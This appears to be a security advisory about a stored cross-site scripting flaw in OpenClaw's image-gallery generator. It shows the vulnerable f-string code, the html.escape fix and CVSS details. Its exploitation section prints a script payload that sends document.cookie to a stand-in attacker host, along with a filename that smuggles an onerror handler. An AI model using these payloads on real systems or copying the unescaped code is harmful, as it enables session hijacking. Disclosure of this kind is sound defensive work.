Mar 3, 2026·5 min read·3 visits
Unsanitized f-string interpolation in OpenClaw's `gen.py` script allows attackers to inject arbitrary HTML and JavaScript via image prompts. The vulnerability is fixed in commit `f3adf142` by implementing `html.escape()`.
OpenClaw contains a critical Stored Cross-Site Scripting (XSS) vulnerability within its image generation skill. The application fails to sanitize user-supplied prompts and filenames before interpolating them into HTML gallery files. This allows attackers to inject malicious JavaScript execution vectors that trigger when the gallery is viewed, potentially leading to session hijacking or arbitrary code execution in the context of the application dashboard.
OpenClaw, an AI agent framework, includes a skill named openai-image-gen responsible for generating images based on user prompts and organizing them into HTML galleries. A vulnerability exists in how this component processes metadata associated with generated images.
Specifically, the application generates an index.html file to display the results of the image generation process. It constructs this HTML file by directly embedding the user's prompt and the resulting filename into HTML tags. This process lacks output encoding or sanitization. Consequently, if an attacker provides a prompt containing HTML markup or manipulates the filename parameters, the application writes these malicious payloads directly into the document structure.
The vulnerability is classified as Stored Cross-Site Scripting (XSS). When an administrator or user views the generated gallery, the browser renders the injected markup as active content. This permits the execution of arbitrary JavaScript within the origin of the OpenClaw interface, bypassing the intended security boundaries of the application.
The root cause of this vulnerability is the use of insecure Python string interpolation (f-strings) to construct HTML content without prior validation or escaping of input variables. The flaw resides in skills/openai-image-gen/scripts/gen.py.
The function write_gallery accepts a list of items, where each item contains a file (path) and a prompt (text). The code iterates through these items and inserts the values directly into an HTML string template. The code assumes that the prompt and file values are safe plain text, but they are derived from user input or external API responses that can be manipulated.
This implementation violates the secure coding principle of separating data from structure. By treating user input as trusted HTML fragments, the application allows characters with special meaning in HTML (such as <, >, ", and ') to alter the document structure. This is a classic instance of CWE-79: Improper Neutralization of Input During Web Page Generation.
The vulnerability is evident in the write_gallery function within skills/openai-image-gen/scripts/gen.py. The comparison below highlights the unsafe interpolation and the subsequent remediation.
Vulnerable Code (Pre-Patch)
In the vulnerable version, the f-string directly embeds it["file"] and it["prompt"]. If it["prompt"] contains <script>alert(1)</script>, it is written literally into the HTML file.
def write_gallery(out_dir: Path, items: list[dict]) -> None:
# ...
thumbs = "\n".join(
[
f"""
<figure>
<a href="{it["file"]}"><img src="{it["file"]}" loading="lazy" /></a>
<figcaption>{it["prompt"]}</figcaption>
</figure>
""".strip()
for it in items
]
)
# ...Patched Code
The fix introduces the html module and wraps all dynamic inputs with html.escape(). The quote=True parameter ensures that both double and single quotes are encoded, which is essential for attribute contexts (like href and src).
from html import escape as html_escape
def write_gallery(out_dir: Path, items: list[dict]) -> None:
# ...
thumbs = "\n".join(
[
f"""
<figure>
<!-- Inputs are now escaped before insertion -->
<a href="{html_escape(it["file"], quote=True)}"><img src="{html_escape(it["file"], quote=True)}" loading="lazy" /></a>
<figcaption>{html_escape(it["prompt"])}</figcaption>
</figure>
""".strip()
for it in items
]
)
# ...An attacker can exploit this vulnerability by submitting a crafted request to the OpenClaw agent that triggers the openai-image-gen skill. The attack flow proceeds as follows:
Payload Injection: The attacker provides an image generation prompt designed to break out of the HTML context. A simple payload targeting the <figcaption> element would be:
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>Attribute Injection: Alternatively, if the attacker can influence the filename or MIME type metadata, they can inject event handlers into the <img> or <a> tags. For example, controlling the filename to be image.png" onerror="alert(1) would result in:
<img src="image.png" onerror="alert(1)" ... />Execution: OpenClaw processes the request, generates the image, and creates the index.html gallery file containing the payload. When a user (administrator) accesses this gallery via the web interface, the browser parses the malformed HTML, executes the injected JavaScript, and compromises the session.
> [!NOTE] > While the primary vector is XSS, sophisticated payloads could leverage this access to perform actions on the underlying host if the OpenClaw interface has bindings to local system commands, potentially escalating to Remote Code Execution (RCE).
The primary impact of this vulnerability is the unauthorized execution of arbitrary scripts in the victim's browser (Stored XSS). This compromised context allows an attacker to:
In deployments where the OpenClaw UI is accessed via localhost or a privileged internal network, the impact is magnified. The XSS could serve as a pivot point to attack other internal services or interactions with the underlying OS, aligning with the "Zero-Click RCE" potential noted in security analysis of similar agent frameworks.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenClaw OpenClaw | < 2026-02-23 (Commit f3adf14) | Commit f3adf14 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Vulnerability Type | Stored XSS / HTML Injection |
| Attack Vector | Network |
| Affected Component | openai-image-gen/scripts/gen.py |
| CVSS Score | 6.1 (Estimated) |
| Patch Status | Patched |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')